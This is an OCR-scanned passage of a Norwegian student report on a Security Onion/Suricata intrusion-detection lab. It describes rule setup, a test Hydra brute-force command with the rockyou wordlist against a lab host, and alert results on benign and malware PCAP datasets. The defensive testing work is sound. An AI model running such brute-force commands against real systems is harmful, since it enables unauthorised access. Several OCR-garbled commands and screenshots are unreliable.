regelen ogsa fatt en unik ID (sid), et “rev”’-nummer (beskriver regelens versjon), samt

informasjon om nar regelen er produsert og sist oppdatert.

Utgangspunktet for reglene som er konfigurert i testmiljget vart, er regelsettet Emerging
Threats Open. Dette er et gratis regelsett for signaturbasert nettverksdeteksjon, og er
optimalisert for Suricata. Ved bruk av “Evaluation mode”-versjonen (som vi har tatt i bruk)
av Security Onion, velges dette regelsettet som standard, men Security Onion tilbyr ogsa flere
andre muligheter (Emerging Threats Pro, samt en rekke regelsett optimalisert for Snort).
Regelsettet oppdateres en gang hver ukedag, men ettersom testmiljoet vart ikke er tilkoblet
internett, benytter vi 0ss av en versjon som ble publisert 11. mars 2021 (i produksjon vil
regelsettet oppdatere seg automatisk inkrementelt eller ved kommandoen R ROIENREG). Vi
har riktignok kommet frem til at dette er tilstrekkelig som utgangspunkt, da vi i hovedsak vil
analysere trafikk som ble generert fgr denne datoen (gjennom PCAP-er), eller trafikk som

genereres av Kali (som ogsa har versjoner av programvare datert til ssmme dato).
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Emerging Threats Open kommer med en rekke regler som bade er aktivert og ikke aktivert.
Reglene som ikke er aktivert starter med en “#”, som man kan se pa bildet under der en regel

er aktivert, og en regel ikke er det:

Det finnes flere grunner til at man gnsker a gjgre det pa denne maten (2 operere med
deaktiverte og aktiverte regler). Blant annet skyldes det at noen regler ikke lenger er like
relevante, og at man vil unnga et for stort press av falske positive. Emerging Threats Open
har dermed produsert et utgangspunkt av regler som har disse faktorene i bakhodet. Videre
kan man sa finjustere reglene slik at de passer til det oppsettet som de er konfigurert for.
Security Onion har laget en forholdsvis enkel mate a konfigurere aktive og ikke-aktive regler
i Suricata, nemlig ved bruk av RiIE.

N ME fungerer ved at man bruker syntaksen SR IERGE e, for si & definere hvilke
regler det gjelder ved regelens id (sid). I eksempelet under vil na regel nummer 2009244

aktiveres.

For & se hvilke regler som er aktivert (utenom standardoppsettet), kan man bruke

kommandoen SR ER=aE o] RIS

sbin]# so-rul
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For a verifisere at kommandoen fungerte, gar vi inn 1 regelfilen og finner riktig “sid”. Vi kan

da se at regelen ble aktivert:

Helt til slutt er det verdt & nevne at det ogsa gar an a legge til helt egne regler, utover det som

er definert i regelsettet til Emerging threats. Dette gjgres ved at man ligger inn kode i filen
“local.rules” (finnes i stien /opt/so/saltstack/local/salt/idstools/) pa Security Onion. Dette er

riktignok ikke veldig hensiktsmessig for var del i arbeidet med testmiljget.

Zeek

Rammeverket Zeek (tidligere Bro) er tilknyttet en sensor, og observerer all nettverkstrafikk
som gar igjennom denne. Dataen som blir observert blir interpretert av Zeek, som igjen
produserer kompakte og gode logger for dette. Loggene blir videre tolket og lagret i
Elasticsearch, og kan i systemet vart sees i Hunt og Kibana, for inspeksjon og analyse.

| forbindelse med vart testmiljg, har det ikke veart ngdvendig a gjere spesifikke endringer i
konfigurasjonen av Zeek. Eksempler pa hva som kunne vart aktuelt & konfigurere i et etablert
milje, er a spinne opp flere “Zeek workers” for a handtere mer trafikk, og legge til
egendefinerte scripts. Her er det viktig & sgrge for at konfigurasjonene blir gjort pa riktig sted,
da det er egne fil-stier som er reservert fra & bli overskrevet ved en eventuell oppdatering.

Dette er godt dokumentert i Security Onions offisielle dokumentasjon.

3.2.3 Konfigurasjon av Windows 10 og Windows 7

Det ble ikke gjennomfart noen form for konfigurasjon av Windows 7 og Windows 10 annet

enn at brannmuren pa de respektive maskinene ved noen tidspunkt var skrudd av.
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4. Gjennomgang av funksjonalitet i

testmiljget

| denne seksjonen vil vi gjennomga testmiljoets primare funksjonalitet. Dette vil vi gjare for
a bygge et fundament for videre forsgk, samt som en del av POC-arbeidet, som viser hvordan
de ulike programvarene fungerer. Funksjonaliteten vil skal gjennomga vil farst vare et
elementeert angrep fra den ene maskinen i testmiljget, Kali, til en annen maskin i testmiljget,
Windows. Vil vi sa se pa hvordan Security Onion fanger opp denne trafikken, og falgende
fremstiller den. Videre vil seksjonen gjennomga hvordan man kan importere PCAP-er inn i

Security Onion, og vise hvordan vi pa denne méten kan “simulere” nettverkstrafikk.

4.1 Elementaert angrep fra Kali Linux

En enkel mate a kontrollere at sikkerhetssystemet er satt opp og konfigurert riktig, er a teste
noen enkle angrep internt i nettverket. Her tester vi angrep fra Kali Linux-maskinen mot
Windows-maskinen i nettverket, for sa a kontrollere at denne nettverkstrafikken har blitt
plukket opp av Security Onion, og Suricata har produsert et varsel basert pa dette. Dette er

ogsa en type metodikk vi i stor grad vil benytte oss av i arbeidet med testmiljget.

Et viktig utgangspunkt for en slik test er at man er klar over at det finnes en definert regel i
Suricata som varsler mot den typen trafikk som blir produsert fra Kali Linux-maskinen. I

dette eksempelet vil vi kjare et enkelt brute-force angrep mot RDP.

Vi kjgrer kommandoen under fra Kali Linux-maskinen, som bruker Hydra til & angripe IP-

adressen 10.0.0.4 gjennom port 22, med en tilhgrende passordliste som utgangspunkt:

)-[~]
sudo hydra 10.0.0.4 22 "/root/.local/share/legion/tmp/legion-z

rdqffd4q-running/hydra/20210420143428893206-10.0.0.4-22-rdp.txt" admin
istrator "/usr/share/wordlists/rockyou.txt.gz" ns 16 rdpli
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Vi lar angrepet kjare frem til noen forsgk har blitt gjort, fer vi stopper det igjen:

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344401 login tries (
1:1/p:14344401), ~3586101 tries per task

[DATA] attacking rdp://10.0.0.4:22/

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.

Nar vi etterpa sjekker dashbordet i Security Onion, ser vi at trafikken har blitt fanget opp, og

at Suricata har produsert varsler som sier ifra om at et mulig angrep har skjedd:

= Security @nion

Alerts . vledge Total Found: 10
I X Never

Time Zone: Africa/Abidjan

Q, ~ Group By Name, Module ast 5 B minut .~ =
e | =3

Group: rule.name € Group: event.module €9  Group: event_severity_label €3

rule.name EVE nodule eve erity_label
ET SCAM Potential 3SH Scan OUTBOUND suricata medium

ET SCAM Potential 35H Scan suricata medium

Rows per page: 50 w 1-20f2

Med dette kan vi verifisere at sikkerhetssystemets kjernefunksjon fungerer som det skal, da vi
har kontrollert at nettverkspakkene mellom Kali Linux-maskinen og Windows-maskinen har
gatt igjennom det promiskugse nettverkskortet til Security Onion. Videre har det blitt
kontrollert opp mot Suricatas regler, og Elasticsearch har parset dette slik at det blir
synliggjort i Kibana og systemet ellers. De ulike elementene i systemet snakker altsa

sammen, noe som er en forutsetning for a ga videre med a gjere mer avanserte tester senere.
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Vi kan ogsa se nermere pa trafikken Suricata har basert varslene sine pa. Her gjar vi et

filtrert sgk hvor vi etter alt Zeek har produsert i forbindelse med angrepet:

Security @nion

Cwerview .
Hunt Automatically Hunt after

Alerts
Hunt

PCAP Q + evenimodule: zeek | groupby event. module event dataset zeek

Specify a hunting query in Onion Guery Lang
Grid
Downloads event.module: zeek €)  Group: event.module €  Group: event.dataset €)  Group: zeek €

Administration

Kibana
Grafana

CyberChef

Playbook

Da far vi opp en rekke pakker basert pa nettverkstrafikken som ble utfart under denne testen,
som vist pa bildet under. Videre herfra kan vi ogsa klikke oss inn pa hver enkelt pakke, og se

det fullstendige PCAP-innholdet som vi for eksempel kan analysere i Wireshark.

Fetch Limit
200 v+ Y Filter Resulls

Timestamp - S0 e.ip C destination.ip destination.port network.transport
2021-04-20 13:10:40.030 +00:00 57352 10.0.0.4

2021-04-20 13:10:40.028 +00:00 3 3 10.0.0.4

2021-04-20 13:10:39.964 +00:00 3 57348 10.0.0.4

2021-04-20 13:10:39.963 +00:00 3 10.0.0.4

47 +00:00 3 10.0.0.4

88 +00:00 3 ? 10.0.0.4

74 +00:00 3 10.0.0.4
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4.2 Import av PCAP

En arbeidsmetodikk som prosjektgruppen vil benytte seg mye av underveis i arbeidet, er a
importere PCAP-filer inn i sikkerhetssystemet. Dette er opptak av nettverkstrafikk, med alle
pakker som har blitt sendt innen en gitt periode, og vil i dette tilfellet fungere som et
substitutt til & generere denne trafikken selv, noe som vil spare mye tid og likevel fare til
samme resultat i denne konteksten. En annen fordel er at det er store biblioteker med PCAP-

filer pa internett som er tilgjengeliggjort for & kunne benyttes i slike sammenhenger.

Det kan ta lang tid & importere store pakkefangster inn i et slikt system, da alle pakkene den
inneholder skal bli inspisert av sikkerhetssystemet og bli kontrollert opp mot blant annet
regelsettet i Suricata. For a komme i gang med dette, og kontrollere at det fungerer etter
hensikt, har vi til & begynne med importert sveert sma PCAP-filer, som er snevret inn mot kun

enkelte isolerte scenarier.

For & importere en PCAP-fil inn i Security Onion kan man bruke kommandoen
AT (som i dette tilfellet er en vilkarlig PCAP-fil):
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For a verifisere at importen gikk som den skulle, gir vi nok en gang pa “Alerts” i Security
Onion webgrensesnittet. Vi kan her se at importen var vellykket. Det er greit a legge merke til
at nar man importerer en PCAP-fil i Security Onion vil de opprinnelige datoene bli brukt, og
vi matte derfor spesifisere datoene i sgket i Security Onion (i dette tilfellet fra november
2019).

Q, + Group By Name, Module

NS Query to .cloud TLD
*top domain - Likely Hostile
erved DNS Query to .biz TLD
NS Update From External net
ET CURREMNT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2
ET POLICY PE EXE or DLL Wi

ET TROJAN JS/WSF Downloader Dec 08 2016 M4

4.3 Gjennomgang av verktay

Det finnes en rekke forskjellige verktay i Security Onion, som har en rekke forskjellige
bruksomrader. Vi vil her gi en kort beskrivelse av de respektive verktgyene som vi benytter
0ss av i arbeidet med testmiljget. Dataene som vises frem i eksemplene i denne seksjonen har
opphav fra PCAP-en vi importerte i punkt 4.2.

4.3.1 Security Onion dashbord

Security Onion har et eget dashbord, som kan aksesseres via nettleseren ved a etablere en
HTTPS-forbindelse mot Security Onion-verten, gitt at man kobler seg opp fra en IP-adresse
som er godkjent i konfigurasjonen. Her ma man logge seg inn med et brukernavn og passord

ble definert under installasjonen av Security Onion.
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Fra dette dashbordet er det tilgjengeliggjort en rekke verktgy for visibilitet pa nettverket.

Herfra finner vi ogsa rammeverk som Kibana og Grafana, som vi skal se n&rmere pa senere.

Kibana

Grafana

CyberChef

PCAP

25 Grid

Playbook

Fleat

3 ade
& Downloads TheHive

© Administration :
Navigator

Inne pa “Alerts” far vi en oversikt over produserte varsler, basert pA moduler som er ansvarlig
for dette. Under ser vi et eksempel pa varsler produsert av Suricata, som dukker opp i
dashbordet:

Total Found: 16

Time Zone: Africa/Abidjan

Q ~ Group By Name, Module

Group: rule.name € Group: event.module € Group: event.severity_label €

d DNS Query to .cloud TLD
_top domain - Likely Hostile : medium
d DNS Query to .biz TLD : medium

\NS Update From External net : high

ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2 : high

ET POLICY PE EXE or DLL Wind ownload HTTP : high
ET TROJAN JS/WSF Downloader De 2016 M4 suricata high
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Fra “Hunt” kan vi aktivt jobbe med “threat hunting”, undersgke varsler naeermere, og fa et

detaljert innsyn i alle pakker som har forekommet pa nettverket. Herfra kan vi selektere

enkelte hendelser av interesse, gruppere trafikk, og filtrere etter interesse, for a fritt ettersgke

interessante pakker. Bildet viser en samling av pakker, som presentert av Hunt i dashbordet:

Events

Timestamp

2019-111

2019-11-1

2019-111

2019-11-1

2019-11-1

2019-11-1

2019-111

314 +00:00

.213 +00:00

210 +00:00

A71 +00:00

118 +00:00

Fetch Limit
200

source.ip

10.11.11.1

10.11.11.217

10.11.11.217

10.11.11.217

10.11.11.217

10.11.11.11

10.11.11.11

-

source.port

63036

59517

59517

59517

62636

61395

Y Filter Results

destination.ip

destination.port

51.196.155

10.11.11.1

10.11.11.1

10.11. 1.1

10111111

51.19

98.138.11.157

Dashbordet muliggjer inspeksjon av PCAP-filer, som kan sees pa bildet under. Det er ogsa

mulighet for & laste ned denne informasjonen, for sa a apne det i en annen egnet

programvareapplikasjon som for eksempel Wireshark.

Y Filter Results

Num

0

oo
oo
c4
oo
61
64
oo

oo
o1
0B
oo
61
64
oo
15

oo
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Timestamp

2019-111

01

62

C!

2

97

8B F6 3C

0o
64
03
0o

oo
63
61
01

oo

6F 6

77
oo

2019-11-1

14

22

8F E4
0B 00

0s
64
03
oo
04
74
04

oo
63
61
01
T0
2D

80
o1
33
04
6F
T7
oo
T2
31

A3 66

40
Fé
0o
6D
73

01 cC

6F
co

03 D3 56

i sohost

oo
80
oo
04
61
oo

14
11
4E
70
EF
61
29

Type

DNS

B 10.11.11.11:63036

80 A3 66 08
0A 0B

75
A3
6F
70
68

OF AD

46 +00:00

oo
F7
01
04

oD

01
11
B
70
6F
61
oo
75
a7
a7

co
F6
5E
T2

T4
05
70
0o
0o

78
64
2D
05
oo

DNS

EA
0%
64
63
oo

97 4B FO

;13
FF
&6F
70
68
oo
73
o1
o1

CD
78
64
2D
05
01
2D
0o
oo

FB
EA
09
64
63
oo
75
01
01

Source IP

1011111

00 45 00

0B 0B CD FB

oo
75
73

10 00 01
70 73 2D
2D 70 72

6C 6F 75 64

80

205.251.196.155

11}
c4
G4
75
73

00 00 0D

00 45 28
SB 0A OB
00 00 01
70 73 2D
2D 70 72

6C 6F 75 64

oo
73
oo
oo

01 oo
2D 65 61
00 00
00 00

By 205.251.196.15

Destination IP Destination Port

205.251.196.155 53

....... prod.

adcom. aoclp-

ds-pr

d.aws.oath.clond

....... Jecccococ

10.11.11.11

....... prod.

adcom. aoclp-

ds-pr

d.aws.oath.clond
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Fra “Grid” kan vi fa oversikt over sensorene i sikkerhetssystemet (i vart tilfelle bare en

Sensor):
Y Filter Results
D *~ Role(s) Add s escriptio Version Date Online Date Updated
sohost Evaluation 10.0.0.2 30 Apr 21, 2021 8:52 AM Apr 21, 2021 10:00 AM
4.3.2 Kibana

Kibana er et verktgy for a visualisere data fra Elasticsearch. Det gjar det raskt og enkelt a
navigere seg i store mengder data, og benytte seg av ulike visualiseringsfunksjoner. Man kan
enkelt filtrere dataene med spgrrespraket KQL (Kibana Query Language), for a finne det man
er ute etter. Kibana brukes aktivt i prosjektet for a blant annet undersgke nettverkstrafikk og

varsler som dukker opp i sikkerhetssystemet.

& Elastic
= Security Onion - Indicator

Security Onion - Na... Security Onion - All Logs Security Onion - Top Network Protocols
Home

Event Category
Alert | File | Host | 4,830

Network Count

Security Onion - Dat... Security Onion - Source IPs Security Onion - Destination IPs Security Onion - Destination Ports

Dataset Count Source IP Count Destination IP Destination Port
2,089 1,027
1,547
540

22
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4.3.3 Grafana

Grafana er et verktay som brukes til a grafisk fremstille store mengder data gjennom et
oversiktlig konfigurabelt dashbord. I vart tilfelle har det blitt benyttet som et
standarddashbord som viser helseinformasjon om systemet vart. Verktayet har riktignok ikke
like stor nytteverdi i et testmiljg, ettersom det ikke er kritisk om ytelsen ikke er optimal.
Likevel bruker vi verktgyet til blant annet & se pa pakketap under hgy trafikk. Bildet under er
et utdrag fra informasjonen vi far opp fra standarddashbordet vart i Grafana. Blant annet kan
vi se informasjon om pakketapet til Zeek (i prosent), ressursbruken til Elasticsearch, og

prosessorbruken (i prosent).

88 Eval Mode / Evaluation Mode - sohost Overview tr =

sohost - System Uptime sohost - CPU sohost - Zeek Capture Loss

1.12hour

sohost - Disk Used(/) sohost - Disk Used(/nsm) sohost - ES CPU Usage

09:00 0%:10 09:20 ;30 09:40 09:50 )0 0910 0920 0930 0%:40 09:50

0 0910 09:20 0930 0940 09:50

Usage 09:00 0910 09:20 0930 0%40 09:50 09:00 0910 09:20 09:40  09:50

sohost - CPU Usage ES Memory Usage

:00 0910 09 9:30

sohost - ES Documents

879670
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4.3.4 Andre verktay

Det finnes ogsa en rekke andre verktgy i Security Onion, men dette er verktay som ikke er
like sentrale i arbeidet vart. Det er likevel verdt & nevne de kjapt, ettersom det er av betydning

for & gjennomfare en tilstrekkelig POC av Security Onion.

TheHive er en hendelses- og responsplattform som kan brukes av SOC-er, CERT-er og andre
sikkerhetsansvarlige i en bedrift. Plattformen brukes for & handtere
informasjonssikkerhetshendelser som ma undersgkes pa en effektiv og kjapp mate.
Programvaren er integrert med resten av Security Onion-plattformen, der man for eksempel
kan eskalere et varsel produsert av Suricata direkte inn i TheHive.

CyberChef er et program som kan brukes til & gjennomfare en rekke operasjoner pa den
inputen man setter inn, noe som kan bidra i hendelseshandteringsarbeidet. Operasjonene
inkluderer blant annet kryptering med AES, kalkulasjon av «hash»-er og sjekksummer, samt
a oversette tegnsett.

Navigator er et program som tilbyr en enkel navigasjon og muligheten til & kommentere
Mitre ATTACK sine matriser. Ved hjelp av verktgyet kan blant annet visualisere hvordan det
defensive rammeverket i en bedrift ser ut.

Fleet muliggjer at man kan gjennomfare sparringer rettet mot servere, konteinere og
maskiner i nettverket.

Playbook er en applikasjon i Security Onion som gjer at man kan opprette en deteksjons-
’playbook”. Denne bestér igjen av en rekke “plays”, som beskriver forskjellige aspekter rundt
forskjellige deteksjonsstrategier. Disse strategiene kan man sa aktivere, og falgende settes

strategien ut i live.

Til slutt kan man ved bruk av Security Onion ogsa implementere Wazuh. Wazuh sgrger blant
annet for at man kan implementere HIDS pa alle enhetene, og dermed overvake det som

foregar pa nettverkets endepunkter.

Implementasjonen av alle disse verktgyene gjennom Security Onion, sammen med
funksjonaliteten som er omtalt tidligere, gjar at Security Onion tilbyr et stort rammeverk som
innhenter og behandler store mengder med informasjon. Dette betyr ogsa at Security Onion
kan benyttes som en SIEM.
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5. Forsgk i1 testmiljget

| denne seksjonen vil vi gjennomga forskjellige tester vi har gjennomfart i testmiljget vart.
Hensikten med testene er a fa et bedre innblikk i NIDS, samt deteksjon og visibilitet pa
nettverksniva ellers. Dette inkluderer & danne oss et godt bilde av hvordan NIDS fungerer,
samt svakheter og styrker ved teknologien. Maten vi skal gjare dette pa er forst ved a se pa en
rekke PCAP-filer, og analysere hvordan NIDS behandler nettverkstrafikken fra filene. Videre
vil vi gjennomfare en sarbarhetsanalyse der vi vil forsgke a utnytte sarbarhetene fra analysen,
far videre & se pa hvordan NIDS reagerer pa disse aktivitetene. Til slutt skal vi ogsa
undersgke MITRE ATT&CK-teknikken T1486 sett i kontekst av nettverksbasert deteksjon,
ved a kjare ulike typer skadevare i testmiljget vart. Gjennom disse testene vil vi ha
opparbeidet oss god kjennskap til NIDS, og hvordan teknologien fungerer. Fglgende vil vi
bruke dette videre som et grunnlag for a si noe om hva man gar glipp av dersom man ikke

baserer arbeidet med deteksjon pa NIDS.

5.1 Forsgk 1 - Godartede og ondartede PCAP-filer

En sentral del av det vi gnsker & undersgke handler om hvordan et NIDS (Suricata i vart
tilfelle) reagerer pa forskjellige typer nettverkstrafikk. Av den grunn gnsker vi & gjennomfare

to type tester, basert pa seks kjente datasett, for & undersgke dette.

Den ene kategorien av datasett vi skal benytte oss av, baserer seg pa vilkarlig godartet
nettverkstrafikk. Dersom Suricata i dette tilfellet produserer mange varsler, er det med stor
sannsynlighet mange falske positive. Den andre kategorien vi skal teste vil vaere kjente
datasett, bestaende av pa forhand kjent skadevare. Vi vil da se pa om Suricata klarer a fange
opp den kjente skadevaren. Det vi i praksis tester gjennom denne testen er Suricata med
regelsettet Emerging Threats Open (datert mars 2021), og hvordan dette reagerer pa
forskjellige typer trafikk, i tillegg til det Zeek produserer av hendelser tilknyttet datasettene.
Intensjonen med a benytte oss av denne fremgangsmaten er a kunne oppna et mer kvalifisert

syn pa relevansen til signaturbasert nettverksdeteksjon i 2021.
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5.1.1 Planlegging

For a gjennomfare testene pa en god mate, er det helt sentralt at vi har gode datasett. Av den
grunn handler en stor del av denne testen om a finne tilstrekkelig gode datasett. Kravene vi
stiller til datasettene handler i stor grad om at vi ma veere sikre pa hva de inneholder pa
forhand. Dersom vi ikke er sikre pa dette, kan vi ikke med sikkerhet si noe om hvor store
deler av den ondartede trafikken Suricata har fanget opp. Ellers er det verdt a nevne at
nettopp dette ogsa er en kilde til sarbarheter ved denne fremgangsmaten. Helrelevante
datasett viste seg a veere vanskelig a finne, spesielt datert fra de siste arene. Dette har ogsa
fort til at vi matte velge litt andre datasett enn opprinnelig tiltenkt, rett og slett fordi vi ikke
klarte a finne eller produsere alle de typene datasett vi sa for oss. I tillegg til dette var det en
god del av PCAP-ene vi forsgkte a importere som Security Onion ikke aksepterte. Vi fant
ikke ut av grunnen til at filene ikke ble akseptert, da vi kun en tilbakemelding om at Security
Onion ikke aksepterte PCAP-ene.

Datasettene vi benytter oss av i testene beskrives i starre detalj her:

Datasett 1:

Et godartet datasett vi har produsert pa egenhand ved a fange opp trafikk over lokalnettet i
cirka 10 minutter. Datasettet er pa 90 MB, og bestar hovedsakelig av surfing pa internett og
sending av mail fra en lokal mailklient. Datasettet bestar dermed hovedsakelig av HTTPS og
DNS-trafikk.

Datasett 2:

Et godartet datasett, bestdende av besgk til de 500 mest brukte nettsidene, rangert av Amazon
Alexa. Datasettet er produsert pa egenhand ved at det ble laget et enkelt Python-script som
farst henter navaerende toppliste, og deretter besgker de i tur og orden. Wireshark ble benyttet
i bakgrunnen for a fange opp pakkene underveis. Datasettet endte opp pa 324 MB, og bestar
dermed ogsa i hovedsak av HTTPS og DNS-trafikk.

Datasett 3:
Datasett bestar av normal trafikk fra et lokalnettverk. Datasettet inneholder en del variert
trafikk, inkludert HTTP, HTTPS og DNS-trafikk. Ellers inneholder datasettet blant annet
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trafikk som brukes av et P2P-program for & laste ned store filer pa en Linux-vert. Datasettet

er pa 398 MB, er hentet fra Stratosphereips, og er fra 2016.

Datasett 4:

Et meget begrenset og spesifikt ondsartet datasett bestaende av WannaCry Ransomware som
blir spredt av “exploiten” EternalBlue. Datasettet inneholder hendelsen da maskinen ble
infisert, samt tiden far og etter. Datasettet er pa 36 MB, er hentet fra Malware-Traffic-
Analysis.net, og er fra 2017.

Datasett 5:

Dette er et ondartet datasett som bestar av bade ondartet og godartet trafikk. Trafikken er
fanget opp fra en Windows-maskin som i utgangspunktet ikke er infisert. Denne brukes sa
over flere dager, for skadevare installeres. Skadevaren som da installeres er en form for
Ransomware som heter Cryptowall. Datasettet inneholder bade HTTP og HTTPS-trafikk, er
pa 502 MB, er hentet fra Stratosphereips, og er fra 2015.

Datasett 6:

Dette datasettet er et ondartet datasett bestaende av en “cryptominer”-trojan. Det vil si at
trojanen infiserer vertsmaskinen, og benytter denne til krypto-"mining” som en del av et
starre nettverk. Datasettet bestar av trafikk over flere dager. Underveis i hendelsesforlgpet
blir en host infisert av skadevaren over HTTPS. Datasettet er pd 309 MB, er hentet fra

Stratosphereips, og er fra 2018.

5.1.2 Gjennomfgring og resultater

Vi vil i denne seksjonen gjennomga gjennomfgringen av testene, samt resultatene fra testene.

Gjennomfgring

Maten testingen foregikk i praksis, var at vi importerte alle de relevante PCAP-filene (fra
datasettene presentert i punkt 5.1.2) inn i Security Onion, fgr vi videre gjennomgikk
resultatene inne i webgrensesnittet. Hvordan denne importeringen fungerer i praksis, er

beskrevet i neermere detalj i punkt 4.2, og det gas ikke mer inn i dybden pa den faktiske
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gjennomfaringen her. Dette skyldes at det er en enkel og repetitiv gvelse vi allerede har gjort

rede for.

Resultater

Resultatene fra de seks datasettene som ble presentert i punkt 5.1.2 blir presentert her.

Dataene presenteres med en tabell per datasett. | tabellene presenteres forventet utfall, varsler

produsert av Suricata, hvor mange av disse varslene som var falske, samt kommentarer til

testene. Til slutt kommer det en tabell som oppsummerer alle testene.

Resultater fra datasett 1:

Forventet utfall: | Produserte | Falske Kommentarer:
varsler i positive:
Suricata:

Utfall: Ingen 0 0 Utfallet av testen som
mistenkelig forventet. Ellers fant Zeek 2
trafikk og ingen utgatte SSL-sertifikater,
varsler produsert henholdsvis begge fra et

Microsoft-domene.
Resultater fra datasett 2:
Forventet utfall: | Produserte | Falske Kommentarer:
varsler i positive:
Suricata:

Utfall: Ingen 0 0 Ingenting spesielt notert,
mistenkelig resultat som forventet.
trafikk og ingen
varsler produsert

Resultater fra datasett 3:
Forventet utfall: | Produserte | Falske Kommentarer:
varsler i positive:
Suricata:

Utfall: Ingen 8 varsler 4 Suricata produserer varsler pa
mistenkelig produsert, P2P-programmet (BitTorrent)
trafikk og ingen | hvorav 4 som i datasettet benyttes til a
varsler produsert | unike. laste ned godartede filer fra

internett.
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Forventet utfall: | Produserte | Falske Kommentarer:
varsler i positive:
Suricata:

Utfall: Oppdages en 7590 0 “Exploiten” Eternalblue (som
rekke varsler, Wannacry benytter seg av) og
mistenkelige hvorav 10 DoublePulsar (et
aktiviteter, unike. bakdgrsverktay som
inkludert varsel Wannacry ogsa bruker)
om Eternalblue. produserer store mengder med

varsler i Suricata. Zeek varsler
ogsa om flere unormale
hendelser.
Resultater fra datasett 5:
Forventet utfall: | Produserte | Falske Kommentarer:
varsler i positive:
Suricata:

Utfall: Hele 465 varsler, |1 Datasettet bar preg av flere
hendelsesforlgp | hvorav 12 varsler tilknyttet mulige brudd
et blir fanget unike pa policyer. Det var riktignok
opp. mye grunnet at datasettet var

gammelt, og det meste
skjedde over HTTP.
Ransomwaren ble ikke fanget
opp av NIDS, men dette
skyldes at
nettverkstilkoblingen til
enheten som datasettet baserer
seg pa virker a ha blitt kuttet
av angrepet.
Resultater fra datasett 6:
Forventet utfall: | Produserte | Falske Kommentarer:

varsler i positive:

Suricata:

Utfall: Klarer ikke & 686 varsler | 2 unike Bade Zeek og Suricata
detektere selve | totalt, varsler oppdaget flere mistenkelige

infeksjonen,
ettersom den

hvorav 11 er
unike.

aktiviteter. Dette inkluderer at
verten gjorde DNS-oppslag pa

Side 170 av 221

Side 68 av 118




Driftsrapport

Oppgavenummer 44

@ NTNU

foregikk over
HTTPS. Klarer
likevel & varsle
om at det
forekommer
unormal trafikk
etter selve
infeksjonen.

tjenere som var flagget som
utrygge, samt at det ble
gjennomfart
nettverksskanning i
lokalnettverket. Suricata
produserte over 500 varsler
som spesifikt varslet om
krypto-«mining», samt 100
som varslet om en
nettverkstrojan.

Sammendrag av resultater:

Tabellen under er et sammendrag av resultatene fra testene vi gjorde pa datasettene, basert pa

de kvantitative resultatene vi fikk.

Produserte unike Falske positive: Rate falske positive
varsler: (%)

Datasett 1: 0 0 0

Datasett 2: 0 0 0

Datasett 3: 4 4 100

Datasett 4: 10 0 0

Datasett 5: 12 1 8.3

Datasett 6: 11 2 18.2

SUM: 37 7 18.9
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5.1.3 Evaluering

Vi vil i denne seksjonen se pa resultatene vi fikk fra forsgket med godartede og ondartede
PCAP-er i testmiljeet, og felgende fremlegge hva vi har leert om signaturbasert
nettverksdeteksjons ut fra de testene vi gjennomfarte. Dette vil vi farst gjore ved a drafte
resultatene vi fikk fra testene. Videre vil vi drgfte litt rundt svakheter ved fremgangsmaten,
faor vi til slutt gar inn pa det som opprinnelig var planen og premissene for at vi skulle

gjennomfare en slik type test.

Evaluering av resultatene

Dataene vi har produsert i forsgkene viser viser oss flere ting. For det farste bekrefter dataene
mye av det vi visste om NIDS-systemer pa forhand. Det er begrenset hva NIDS kan fange
opp, og det er ogsa en kilde til falske positive. Testene viser ogsa at NIDS presterer bra gitt to
premisser, nemlig at angrepet er kjent (har en signatur), og at trafikken ikke er kryptert.
Samtidig er det viktig & huske pé i1 analyser av NIDS at det ikke finnes en “silver bullet” (en
heloptimal lgsning) nar det kommer til deteksjonsverktay, og man vil finne svakheter uansett

hvilke former for systemer man evaluerer. Dette snakker vi mer om i punkt 6.3.

Ser vi kjapt over resultatene, kommer vi fram til fglgende:
e Datasett 1, 2 og 3, som var godartede datasett, produserte fa varsler. Resultatene fra
disse testene var derfor hovedsakelig slik vi forventet.
e Datasett 4, 5 og 6, som var ondartede datasett, produserte mange varsler, og klarte i
stor grad & varsle om det vi sa for oss at de skulle gjere. Dermed var ogsa disse

resultatene hovedsakelig slik vi forventet.

Gar vi litt mer i dybden pa dette, sa er dette ikke veldig rart at resultatene ble omtrent slik vi
forventet. Datasett 1 og 2, som begge var datasett vi hadde produsert pa egenhand, besto i all
hovedsak av DNS og HTTPS-trafikk, og det var i hovedsak “trygge” sider som ble besokt,
samt “trygge” tjenester som ble benyttet. Dermed er det i bunn og grunn veldig lite NIDS har
mulighet til & flagge trafikken ut fra, og felgende ikke sa rart at ingenting ble flagget.
Samtidig hadde vi pa forhand et inntrykk av at NIDS skulle flagge uforholdsmessig mye, og
sann sett viser testene at dette ikke er tilfellet for slik vilkarlig kryptert nettverkstrafikk.
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Datasett 3, som ogsa bestar av godartet trafikk, produserte fire varsler. Dette er varsler som
vi har valgt & definere som falske positive, men som nesten like gjerne kunne vart definert
som reelle positive. Dette har med regelsettet som var satt opp i Suricata, og som vi brukte
underveis i testingen. Regelsettet er et generelt regelsett som ikke er innstilt for privat bruk
(som bruken i datasettet), da det i utgangspunktet er beregnet pa bedrifter. Med dette i
bakhodet er det ikke rart at P2P-programmet “BitTorrent” ble flagget. Grunnen til at vi
likevel ser pa det som falske positive, er at vi pa forhand av testene hadde definert datasettet
som helt trygt. Dette er likevel noe vi tar med oss videre fra resultatene, og det totale
inntrykket vart basert pa testene er at NIDS i sveert liten grad produserte falske positive pa
godartet trafikk.

Datasett 4, som besto av Ransomware-angrepet WannaCry, ble i stor grad fanget opp av
NIDS, og det ble ikke produsert noen falske positive. Det ma riktignok nevnes at datasettet
var veldig begrenset i starrelse, og at det sann sett var fa potensielle kilder til falske positive.
WannaCry er ogsa, grunnet utbredelsen, et av de mest dokumenterte Ransomware-angrepene
som har veert. Derfor ville det veert rart om NIDS ikke klarte & fange opp at angrepet forekom

og hvordan dette skjedde, men datasettet viser likevel at NIDS fungerer etter hensikt her.

Datasett 5 er et datasett som i stor grad viser at NIDS fungerer slik det skal. Bortsett fra at
det var en falsk positiv, sa produserer NIDS kun fornuftige og riktige varsler tilknyttet
